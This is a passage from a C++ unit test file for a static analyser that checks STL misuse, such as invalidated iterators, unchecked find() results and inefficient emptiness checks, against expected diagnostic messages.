ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, 